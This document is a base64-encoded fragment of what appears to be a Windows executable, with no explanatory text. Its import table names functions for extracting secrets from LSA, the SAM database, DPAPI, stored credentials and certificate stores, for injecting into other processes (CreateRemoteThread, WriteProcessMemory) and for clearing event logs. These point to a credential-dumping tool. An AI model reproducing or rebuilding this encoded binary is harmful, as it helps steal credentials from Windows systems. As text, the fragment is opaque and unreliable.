DqqwQA9KsEAP6rBAAIrAQAEqwEAB6sBAA2rAQAQKwEAEqsBABcrAQAZqwEAG6sBAB8rAQAhKwEAJCsBACerAQAsqwEAMKsBADQrAQA4qwEAOysBAD2rAQAAK0EAAqtBAAarQQAKK0EADStBAAAAAAAhKYEAGSmBABKpgQAAAAAAC6mBAAGpgQA5qUEAMSlBACupQQAmqUEAISlBABypQQAUqUEADClBAAWpQQA/KQEAOikBADUpAQAvqQEAKKkBACOpAQAcqQEAFCkBAA8pAQALKQEABSkBAD8owQAyKMEALSjBACUowQA5KMEAAAAAAChAENyeXB0U2V0SGFzaFBhcmFtAJkAQ3J5cHRHZXRIYXNoUGFyYW0AlABDcnlwdEV4cG9ydEtleQAAhgBDcnlwdEFjcXVpcmVDb250ZXh0VwAAogBDcnlwdFNldEtleVBhcmFtAACaAENyeXB0R2V0S2V5UGFyYW0AAKAAQ3J5cHRSZWxlYXNlQ29udGV4dACOAENyeXB0RHVwbGljYXRlS2V5AIUAQ3J5cHRBY3F1aXJlQ29udGV4dEEAAJsAQ3J5cHRHZXRQcm92UGFyYW0AnwBDcnlwdEltcG9ydEtleQAATwJTeXN0ZW1GdW5jdGlvbjAwNwCPAENyeXB0RW5jcnlwdAAAiABDcnlwdENyZWF0ZUhhc2gAlQBDcnlwdEdlbktleQCMAENyeXB0RGVzdHJveUtleQCJAENyeXB0RGVjcnlwdAAAiwBDcnlwdERlc3Ryb3lIYXNoAACdAENyeXB0SGFzaERhdGEAWgBDb3B5U2lkAPYAR2V0TGVuZ3RoU2lkAAB7AUxzYVF1ZXJ5SW5mb3JtYXRpb25Qb2xpY3kAcwFMc2FPcGVuUG9saWN5AFQBTHNhQ2xvc2UAAGcAQ3JlYXRlV2VsbEtub3duU2lkAABiAENyZWF0ZVByb2Nlc3NXaXRoTG9nb25XAGEAQ3JlYXRlUHJvY2Vzc0FzVXNlclcAAO8BUmVnUXVlcnlWYWx1ZUV4VwAA6gFSZWdRdWVyeUluZm9LZXlXAADcAVJlZ0VudW1WYWx1ZVcA5QFSZWdPcGVuS2V5RXhXANkBUmVnRW51bUtleUV4VwDKAVJlZ0Nsb3NlS2V5APwBUmVnU2V0VmFsdWVFeFcAAGgCU3lzdGVtRnVuY3Rpb24wMzIAPgBDbG9zZVNlcnZpY2VIYW5kbGUAAK8ARGVsZXRlU2VydmljZQCsAU9wZW5TQ01hbmFnZXJXAACuAU9wZW5TZXJ2aWNlVwAAQwJTdGFydFNlcnZpY2VXAMIBUXVlcnlTZXJ2aWNlU3RhdHVzRXgAAEIAQ29udHJvbFNlcnZpY2UAADkBSXNUZXh0VW5pY29kZQCWAENyeXB0R2VuUmFuZG9tAABQAENvbnZlcnRTaWRUb1N0cmluZ1NpZFcAAKoBT3BlblByb2Nlc3NUb2tlbgAAGQFHZXRUb2tlbkluZm9ybWF0aW9uAEYBTG9va3VwQWNjb3VudE5hbWVXAABIAUxvb2t1cEFjY291bnRTaWRXAFgAQ29udmVydFN0cmluZ1NpZFRvU2lkVwAAkwBDcnlwdEVudW1Qcm92aWRlcnNXAJEAQ3J5cHRFbnVtUHJvdmlkZXJUeXBlc1cATgJTeXN0ZW1GdW5jdGlvbjAwNgCcAENyeXB0R2V0VXNlcktleQCpAU9wZW5FdmVudExvZ1cAAwFHZXROdW1iZXJPZkV2ZW50TG9nUmVjb3JkcwAAOgBDbGVhckV2ZW50TG9nVwAAZQBDcmVhdGVTZXJ2aWNlVwAAOgJTZXRTZXJ2aWNlT2JqZWN0U2VjdXJpdHkAACoAQnVpbGRTZWN1cml0eURlc2NyaXB0b3JXAADAAVF1ZXJ5U2VydmljZU9iamVjdFNlY3VyaXR5AAAdAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA4QBGcmVlU2lkABcBR2V0U2lkU3ViQXV0aG9yaXR5AABJAlN5c3RlbUZ1bmN0aW9uMDAxABgBR2V0U2lkU3ViQXV0aG9yaXR5Q291bnQATQJTeXN0ZW1GdW5jdGlvbjAwNQB/AUxzYVF1ZXJ5VHJ1c3RlZERvbWFpbkluZm9CeU5hbWUAYQJTeXN0ZW1GdW5jdGlvbjAyNQBVAlN5c3RlbUZ1bmN0aW9uMDEzAIIBTHNhUmV0cmlldmVQcml2YXRlRGF0YQAAYQFMc2FFbnVtZXJhdGVUcnVzdGVkRG9tYWluc0V4AABiAUxzYUZyZWVNZW1vcnkATgFMb29rdXBQcml2aWxlZ2VWYWx1ZVcAPgFJc1ZhbGlkU2lkAACvAU9wZW5UaHJlYWRUb2tlbgA8AlNldFRocmVhZFRva2VuAAC0AER1cGxpY2F0ZVRva2VuRXgAADgAQ2hlY2tUb2tlbk1lbWJlcnNoaXAAAGwAQ3JlZEZyZWUAAGsAQ3JlZEVudW1lcmF0ZVcAAEFEVkFQSTMyLmRsbAAA0ABDcnlwdFVucHJvdGVjdERhdGEAAHcAQ3J5cHRCaW5hcnlUb1N0cmluZ1cAALQAQ3J5cHRQcm90ZWN0RGF0YQAAdABDcnlwdEFjcXVpcmVDZXJ0aWZpY2F0ZVByaXZhdGVLZXkARgBDZXJ0R2V0TmFtZVN0cmluZ1cAAAgAQ2VydEFkZEVuY29kZWRDZXJ0aWZpY2F0ZVRvU3RvcmUAAFAAQ2VydE9wZW5TdG9yZQA8AENlcnRGcmVlQ2VydGlmaWNhdGVDb250ZXh0AAAEAENlcnRBZGRDZXJ0aWZpY2F0ZUNvbnRleHRUb1N0b3JlAAAPAENlcnRDbG9zZVN0b3JlAABBAENlcnRHZXRDZXJ0aWZpY2F0ZUNvbnRleHRQcm9wZXJ0eQApAENlcnRFbnVtQ2VydGlmaWNhdGVzSW5TdG9yZQAsAENlcnRFbnVtU3lzdGVtU3RvcmUAYQBDZXJ0U2V0Q2VydGlmaWNhdGVDb250ZXh0UHJvcGVydHkABwFQRlhFeHBvcnRDZXJ0U3RvcmVFeAAAQ1JZUFQzMi5kbGwABgBDRExvY2F0ZUNoZWNrU3VtAAALAE1ENUZpbmFsAAANAE1ENVVwZGF0ZQAMAE1ENUluaXQABQBDRExvY2F0ZUNTeXN0ZW0ABABDREdlbmVyYXRlUmFuZG9tQml0cwAAY3J5cHRkbGwuZGxsAAALAERzR2V0RGNOYW1lVwAAaQBOZXRBcGlCdWZmZXJGcmVlAABORVRBUEkzMi5kbGwAAEcBUnBjQmluZGluZ0Zyb21TdHJpbmdCaW5kaW5nVwAA1AFScGNTdHJpbmdCaW5kaW5nQ29tcG9zZVcAAFYBUnBjQmluZGluZ1NldEF1dGhJbmZvRXhXAAAiAElfUnBjQmluZGluZ0lucVNlY3VyaXR5Q29udGV4dAAAWQFScGNCaW5kaW5nU2V0T3B0aW9uAEUBUnBjQmluZGluZ0ZyZWUAANgBUnBjU3RyaW5nRnJlZVcAAH8ATmRyQ2xpZW50Q2FsbDIAAFJQQ1JUNC5kbGwAAE0AUGF0aElzUmVsYXRpdmVXACEAUGF0aENhbm9uaWNhbGl6ZVcAIwBQYXRoQ29tYmluZVcAAEMAUGF0aElzRGlyZWN0b3J5VwAAMQBQYXRoRmluZEZpbGVOYW1lVwBTSExXQVBJLmRsbAAmAFNhbVF1ZXJ5SW5mb3JtYXRpb25Vc2VyAAYAU2FtQ2xvc2VIYW5kbGUAABQAU2FtRnJlZU1lbW9yeQATAFNhbUVudW1lcmF0ZVVzZXJzSW5Eb21haW4AIQBTYW1PcGVuVXNlcgAdAFNhbUxvb2t1cE5hbWVzSW5Eb21haW4AABwAU2FtTG9va3VwSWRzSW5Eb21haW4AAB8AU2FtT3BlbkRvbWFpbgAHAFNhbUNvbm5lY3QAABEAU2FtRW51bWVyYXRlRG9tYWluc0luU2FtU2VydmVyAAAYAFNhbUdldEdyb3Vwc0ZvclVzZXIALABTYW1SaWRUb1NpZAAbAFNhbUxvb2t1cERvbWFpbkluU2FtU2VydmVyAAAVAFNhbUdldEFsaWFzTWVtYmVyc2hpcABTQU1MSUIuZGxsAAAuAFF1ZXJ5Q29udGV4dEF0dHJpYnV0ZXNXABMARnJlZUNvbnRleHRCdWZmZXIAKABMc2FMb29rdXBBdXRoZW50aWNhdGlvblBhY2thZ2UAACUATHNhRnJlZVJldHVybkJ1ZmZlcgAjAExzYURlcmVnaXN0ZXJMb2dvblByb2Nlc3MAIgBMc2FDb25uZWN0VW50cnVzdGVkACEATHNhQ2FsbEF1dGhlbnRpY2F0aW9uUGFja2FnZQAAU2VjdXIzMi5kbGwABwBDb21tYW5kTGluZVRvQXJndlcAAFNIRUxMMzIuZGxsAJgBSXNDaGFyQWxwaGFOdW1lcmljVwAiAUdldEtleWJvYXJkTGF5b3V0AFVTRVIzMi5kbGwAABUASGlkUF9HZXRDYXBzAAABAEhpZERfRnJlZVByZXBhcnNlZERhdGEAAAIASGlkRF9HZXRBdHRyaWJ1dGVzAAAFAEhpZERfR2V0SGlkR3VpZAAMAEhpZERfR2V0UHJlcGFyc2VkRGF0YQBISUQuRExMABsBU2V0dXBEaURlc3Ryb3lEZXZpY2VJbmZvTGlzdAAAMAFTZXR1cERpR2V0Q2xhc3NEZXZzVwAAHwFTZXR1cERpRW51bURldmljZUludGVyZmFjZXMARAFTZXR1cERpR2V0RGV2aWNlSW50ZXJmYWNlRGV0YWlsVwAAU0VUVVBBUEkuZGxsAABXTERBUDMyLmRsbAAgAFJ0bFVuaWNvZGVTdHJpbmdUb0Fuc2lTdHJpbmcAABUAUnRsRnJlZUFuc2lTdHJpbmcAEgBSdGxEb3duY2FzZVVuaWNvZGVTdHJpbmcAABYAUnRsRnJlZVVuaWNvZGVTdHJpbmcAABwAUnRsSW5pdFVuaWNvZGVTdHJpbmcAABQAUnRsRXF1YWxVbmljb2RlU3RyaW5nAAIATnRRdWVyeU9iamVjdAAPAFJ0bENvbXByZXNzQnVmZmVyABgAUnRsR2V0Q29tcHJlc3Npb25Xb3JrU3BhY2VTaXplAAAFAE50UXVlcnlTeXN0ZW1JbmZvcm1hdGlvbgAAGQBSdGxHZXRDdXJyZW50UGViAAABAE50UXVlcnlJbmZvcm1hdGlvblByb2Nlc3MAEABSdGxDcmVhdGVVc2VyVGhyZWFkABcAUnRsR1VJREZyb21TdHJpbmcAHwBSdGxTdHJpbmdGcm9tR1VJRAAaAFJ0bEdldE50VmVyc2lvbk51bWJlcnMAACIAUnRsVXBjYXNlVW5pY29kZVN0cmluZwAADgBSdGxBcHBlbmRVbmljb2RlU3RyaW5nVG9TdHJpbmcAAA0AUnRsQW5zaVN0cmluZ1RvVW5pY29kZVN0cmluZwAABgBOdFJlc3VtZVByb2Nlc3MADABSdGxBZGp1c3RQcml2aWxlZ2UAAAoATnRTdXNwZW5kUHJvY2VzcwAACwBOdFRlcm1pbmF0ZVByb2Nlc3MAAAQATnRRdWVyeVN5c3RlbUVudmlyb25tZW50VmFsdWVFeAAIAE50U2V0U3lzdGVtRW52aXJvbm1lbnRWYWx1ZUV4AAAATnRFbnVtZXJhdGVTeXN0ZW1FbnZpcm9ubWVudFZhbHVlc0V4AAATAFJ0bEVxdWFsU3RyaW5nAABudGRsbC5kbGwAAQBJX05ldFNlcnZlclJlcUNoYWxsZW5nZQACAElfTmV0U2VydmVyVHJ1c3RQYXNzd29yZHNHZXQAAAAASV9OZXRTZXJ2ZXJBdXRoZW50aWNhdGUyAABuZXRhcGkzMi5kbGwAAMMARmlsZVRpbWVUb1N5c3RlbVRpbWUAAEoCTG9jYWxBbGxvYwAATgJMb2NhbEZyZWUAjwNXcml0ZUZpbGUASwNUZXJtaW5hdGVUaHJlYWQAQgNTbGVlcACmAlJlYWRGaWxlAABSAENyZWF0ZUZpbGVXAGgBR2V0TGFzdEVycm9yAAAxAENsb3NlSGFuZGxlAGwAQ3JlYXRlVGhyZWFkAADTAEZpbmRGaXJzdEZpbGVXAABZAUdldEZpbGVBdHRyaWJ1dGVzVwAA5gBGbHVzaEZpbGVCdWZmZXJzAABcAUdldEZpbGVTaXplRXgAOgFHZXRDdXJyZW50RGlyZWN0b3J5VwAAzABGaW5kQ2xvc2UA2gBGaW5kTmV4dEZpbGVXALoARXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzVwA7AUdldEN1cnJlbnRQcm9jZXNzAHcCT3BlblByb2Nlc3MAkQBEdXBsaWNhdGVIYW5kbGUAiABEZXZpY2VJb0NvbnRyb2wACQNTZXRGaWxlUG9pbnRlcgAAdgNWaXJ0dWFsUXVlcnkAAHEDVmlydHVhbEZyZWUAdwNWaXJ0dWFsUXVlcnlFeAAAcgNWaXJ0dWFsRnJlZUV4AKkCUmVhZFByb2Nlc3NNZW1vcnkAbgNWaXJ0dWFsQWxsb2MAAHUDVmlydHVhbFByb3RlY3RFeAAAbwNWaXJ0dWFsQWxsb2NFeAAAdANWaXJ0dWFsUHJvdGVjdAAAmANXcml0ZVByb2Nlc3NNZW1vcnkAAFoCTWFwVmlld09mRmlsZQBeA1VubWFwVmlld09mRmlsZQBRAENyZWF0ZUZpbGVNYXBwaW5nVwAALgFHZXRDb25zb2xlT3V0cHV0Q1AAAPICU2V0Q29uc29sZU91dHB1dENQAABmAENyZWF0ZVByb2Nlc3NXAAAWA1NldExhc3RFcnJvcgAAfgNXYWl0Rm9yU2luZ2xlT2JqZWN0AGcAQ3JlYXRlUmVtb3RlVGhyZWFkAABAAUdldERhdGVGb3JtYXRXAADWAUdldFRpbWVGb3JtYXRXAADCAEZpbGVUaW1lVG9Mb2NhbEZpbGVUaW1lAN4CU2V0Q29uc29sZUN0cmxIYW5kbGVyAPcCU2V0Q29uc29sZVRpdGxlVwAAwAFHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQDwAEZyZWVMaWJyYXJ5AEcCTG9hZExpYnJhcnlXAACYAUdldFByb2NBZGRyZXNzAAB5AUdldE1vZHVsZUhhbmRsZVcAAOICU2V0Q29uc29sZUN1cnNvclBvc2l0aW9uAACwAUdldFN0ZEhhbmRsZQAAxgBGaWxsQ29uc29sZU91dHB1dENoYXJhY3RlclcAMAFHZXRDb25zb2xlU2NyZWVuQnVmZmVySW5mbwAANQJJc1dvdzY0UHJvY2VzcwAA+wJTZXRDdXJyZW50RGlyZWN0b3J5VwAAPQFHZXRDdXJyZW50VGhyZWFkAAA8AUdldEN1cnJlbnRQcm9jZXNzSWQAS0VSTkVMMzIuZGxsAABWAV9lcnJubwAApgRmcmVlAADqA193Y3NkdXAA7wNfd2NzaWNtcAAAQgV2ZndwcmludGYAlQRmZmx1c2gAACcEX3dmb3BlbgBvAV9maWxlbm8A2wFfaW9iAABLBXZ3cHJpbnRmAAAsA19zZXRtb2RlAACSBGZjbG9zZQAAYAV3Y3NyY2hyAFEFd2NzY2hyAABeA19zdHJpY21wAADeBG1hbGxvYwAA+QNfd2NzbmljbXAAZAV3Y3NzdHIAAJoEZmdldHdzAABrBXdjc3RvdWwAaAV3Y3N0b2wAADwFdG93dXBwZXIAAD4EX3dwZ21wdHIAAG1zdmNydC5kbGwAAO4EbWVtc2V0AADqBG1lbWNweQAA4QBfX3dnZXRtYWluYXJncwAAFAFfY2V4aXQAAGIBX2V4aXQAagBfWGNwdEZpbHRlcgCPBGV4aXQAANUBX2luaXR0ZXJtAAEBX2Ftc2dfZXhpdAAA1ABfX3NldHVzZXJtYXRoZXJyAAC5AF9fcF9fY29tbW9kZQAAvgBfX3BfX2Ztb2RlAADSAF9fc2V0X2FwcF90eXBlAACFBGNhbGxvYwAAwARpc2RpZ2l0AMYEaXNzcGFjZQDnBG1idG93YwAAsABfX21iX2N1cl9tYXgAAMIEaXNsZWFkYnl0ZQAA1QRpc3hkaWdpdAAA2QRsb2NhbGVjb252AAAvA19zbnByaW50ZgAxAl9pdG9hAG4Fd2N0b21iAACUBGZlcnJvcgAAzARpc3djdHlwZQAAaQV3Y3N0b21icwAANwA/dGVybWluYXRlQEBZQVhYWgAnAV9jb250cm9sZnAAAP8EcmVhbGxvYwCFAF9fYmFkaW9pbmZvAM8AX19waW9pbmZvAAQDX3JlYWQASwJfbHNlZWtpNjQASARfd3JpdGUAAN4BX2lzYXR0eQ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